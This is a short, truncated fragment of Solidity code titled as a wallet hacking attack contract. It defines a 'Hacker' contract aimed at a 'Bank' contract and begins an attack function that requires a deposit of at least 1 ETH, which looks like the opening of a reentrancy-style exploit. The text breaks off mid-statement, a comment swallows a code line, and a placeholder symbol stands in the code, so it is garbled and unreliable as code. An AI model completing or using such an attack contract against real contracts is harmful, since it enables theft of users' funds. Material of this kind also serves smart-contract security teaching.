wallet hacking attack contract【1-2】
contract Hacker{
Bank public bank;
constructor (Bank _bank) {
bank= _bank;
}
//Bank △△△'s attack function
function attack( ) external payable {
//deposit at least 1 ETH to launch an attack require(msg.value >= 1 ether,